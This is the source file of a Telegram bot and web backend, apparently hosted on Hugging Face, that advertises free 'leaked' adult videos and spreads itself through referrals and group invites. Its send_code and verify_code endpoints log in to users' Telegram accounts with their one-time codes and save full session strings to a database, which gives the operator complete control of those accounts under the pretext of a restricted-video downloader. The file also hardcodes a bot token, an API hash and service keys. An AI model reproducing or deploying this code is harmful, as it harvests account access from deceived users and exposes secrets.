Forwardbot / app.py
pmrony's picture
Update app.py
bc8529d verified
Raw
History Blame
10.9 kB
import os
import time
import threading
import requests
import asyncio
import re
import uvicorn
from fastapi import FastAPI, Request
from fastapi.middleware.cors import CORSMiddleware
from fastapi.responses import JSONResponse
from supabase import create_client
from pyrogram import Client, filters, enums
from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
# ================= CONFIGURATION =================
BOT_TOKEN = "8628213901:AAFvfHBpZ6tok40ZQuhIDLAVIMrHeiheMNY"
API_ID = 36649275
API_HASH = "9e8ee34dce9a83cdcafc451fd5cb9c5a"
SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html?v=100"
BYSE_API_KEY = "133323knboif885fhgwxvf"
ADMIN_IDS = [7307789267]
# ================= FASTAPI SETUP =================
app = FastAPI()
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
admin_states = {}
temp_clients = {}
# Pyrogram Bot Setup
bot = Client("file_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
async def db_query(func):
return await asyncio.to_thread(func)
# ================= FASTAPI ROUTES =================
@app.get("/")
async def index():
return {"status": "online", "message": "Video Unlocker API is Running on FastAPI! 🚀"}
@app.get("/api/videos")
async def api_videos():
try:
res = supabase.table('videos').select('*').order('id', desc=True).execute()
return JSONResponse(content=res.data)
except Exception as e:
return JSONResponse(content=[])
@app.post("/api/send_code")
async def api_send_code(request: Request):
data = await request.json()
phone = data.get('phone')
client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
await client.connect()
try:
code_info = await client.send_code(phone)
temp_clients[phone] = {"client": client, "hash": code_info.phone_code_hash}
return {"status": "ok", "hash": code_info.phone_code_hash}
except Exception as e:
return {"status": "error", "msg": str(e)}
@app.post("/api/verify_code")
async def api_verify_code(request: Request):
data = await request.json()
phone = data.get('phone')
otp = data.get('otp')
hash_val = data.get('hash')
u_id = data.get('user_id')
entry = temp_clients.get(phone)
if not entry:
return {"status": "error", "msg": "Session expired"}
client = entry["client"]
try:
await client.sign_in(phone, hash_val, otp.replace(" ", ""))
session_string = await client.export_session_string()
await db_query(lambda: supabase.table('user_sessions').upsert({"user_id": u_id, "session_string": session_string}).execute())
await client.disconnect()
temp_clients.pop(phone, None)
return {"status": "ok"}
except Exception as e:
return {"status": "error", "msg": str(e)}
# ================= TELEGRAM BOT COMMANDS =================
@bot.on_message(filters.command("start"))
async def start(client, message):
if message.chat.type != enums.ChatType.PRIVATE:
try:
bot_me = client.me if client.me else await client.get_me()
bot_link = f"https://t.me/{bot_me.username}"
markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Videos Now", url=bot_link)]])
await message.reply("🔥 **Watch Premium Viral Videos for FREE!**\n\n👉 Click the button below to watch:", reply_markup=markup)
except Exception: pass
return
try:
user_id = message.from_user.id
first_name = message.from_user.first_name
args = message.command
referrer_id = None
if len(args) > 1:
try: referrer_id = int(args[1])
except ValueError: pass
user_check = await db_query(lambda: supabase.table('referrals').select('*').eq('user_id', user_id).execute())
if not user_check.data:
await db_query(lambda: supabase.table('referrals').insert({
'user_id': user_id,
'referral_count': 0,
'referrer_id': referrer_id if referrer_id != user_id else None
}).execute())
if referrer_id and referrer_id != user_id:
ref_data = await db_query(lambda: supabase.table('referrals').select('referral_count').eq('user_id', referrer_id).execute())
if ref_data.data:
new_count = ref_data.data[0]['referral_count'] + 1
await db_query(lambda: supabase.table('referrals').update({'referral_count': new_count}).eq('user_id', referrer_id).execute())
try:
safe_name = first_name.replace('<', '').replace('>', '') if first_name else "User"
success_msg = f"🎉 <b>Congratulations!</b>\n\n👤 <b>{safe_name}</b> has joined using your link!\n📈 Total Invites: <b>{new_count}</b>\n\n<i>Go to the Web App to check unlocked videos!</i>"
markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Check Unlocked Videos", web_app=WebAppInfo(url=WEB_APP_URL))]])
await client.send_message(referrer_id, success_msg, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
except Exception: pass
bot_me = client.me if client.me else await client.get_me()
markup = InlineKeyboardMarkup([
[InlineKeyboardButton("🔥 Play Viral Videos 🔞", web_app=WebAppInfo(url=WEB_APP_URL))],
[InlineKeyboardButton("📢 Add to Group", url=f"https://t.me/{bot_me.username}?startgroup=true")]
])
welcome_text = (
f"Hello <b>{first_name}</b>! 👋\n\n"
f"🎁 <b>Welcome to Video Unlocker Pro!</b>\n"
f"Here you can watch premium leaked and viral videos completely for FREE.\n\n"
f"📌 <b>Pro Tip:</b> Send me any restricted channel video link and I will download it for you!\n\n"
f"👇 <b>Click the button below to Open App:</b>"
)
await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
except Exception as e:
print(f"Start error: {e}")
@bot.on_message(filters.new_chat_members)
async def bot_added_to_group(client, message):
me = client.me
if getattr(me, "id", None) is None:
try: me = await client.get_me()
except: return
for member in message.new_chat_members:
if member.id == me.id:
try:
await db_query(lambda: supabase.table('groups').upsert({'group_id': message.chat.id}).execute())
group_name = message.chat.title
admin_msg = f"✅ <b>বট নতুন একটি গ্রুপে অ্যাড হয়েছে!</b>\n\n📌 <b>গ্রুপের নাম:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
for admin_id in ADMIN_IDS:
try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
except: pass
except: pass
# ================= RESTRICTED DOWNLOADER =================
@bot.on_message(filters.regex(r"https://t\.me/(c/)?([\w\d_]+)/(\d+)") & filters.private)
async def restricted_download(client, message):
user_id = message.from_user.id
res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
if not res.data:
await message.reply("❌ <b>আপনার অ্যাকাউন্ট লিঙ্ক করা নেই!</b>\n\nরেস্ট্রিক্টেড চ্যানেলের ভিডিও ডাউনলোড করতে প্রথমে অ্যাপে গিয়ে <b>🎁 Secret Box</b> এর মাধ্যমে আপনার টেলিগ্রাম অ্যাকাউন্টটি লিঙ্ক করুন।", parse_mode=enums.ParseMode.HTML)
return
status = await message.reply("⏳ আপনার অ্যাকাউন্ট দিয়ে ভিডিওটি চেক করা হচ্ছে...")
session_string = res.data[0]['session_string']
try:
async with Client("temp_session", api_id=API_ID, api_hash=API_HASH, session_string=session_string, in_memory=True) as user_app:
link_pattern = r"https://t\.me/(c/)?([\w\d_]+)/(\d+)"
match = re.search(link_pattern, message.text)
chat_id = int("-100" + match.group(2)) if match.group(1) else match.group(2)
msg_id = int(match.group(3))
target_msg = await user_app.get_messages(chat_id, msg_id)
if not target_msg.video and not target_msg.document:
await status.edit_text("❌ লিংকে কোনো ভিডিও বা ডকুমেন্ট পাওয়া যায়নি!")
return
file_size = (target_msg.video or target_msg.document).file_size
if file_size > 300 * 1024 * 1024:
await status.edit_text("⚠️ ফাইলটি অনেক বড় (৩০০ এমবির বেশি)! আপনার সার্ভার ক্র্যাশ এড়াতে এটি ডাউনলোড করা সম্ভব নয়।")
return
await status.edit_text("⏳ ভিডিও ডাউনলোড হচ্ছে (Restricted Channel থেকে)...")
file_path = await user_app.download_media(target_msg)
await status.edit_text("✅ ডাউনলোড সফল! এখন পাঠানো হচ্ছে...")
if target_msg.video: await client.send_video(message.chat.id, file_path, caption="🎬 আপনার ভিডিও!\n🤖 @mxvdo")
else: await client.send_document(message.chat.id, file_path, caption="📁 আপনার ফাইল!\n🤖 @mxvdo")
if os.path.exists(file_path): os.remove(file_path)
await status.delete()
except Exception as e:
await status.edit_text(f"❌ এরর: হয়তো আপনি ওই চ্যানেলে জয়েন নেই অথবা সেশন এক্সপায়ার হয়েছে।")
# ================= RUNNER =================
def run_fastapi():
uvicorn.run(app, host="0.0.0.0", port=7860)
if __name__ == "__main__":
threading.Thread(target=run_fastapi, daemon=True).start()
print("🤖 Pyrogram Bot and FastAPI are starting on Hugging Face...")
bot.run()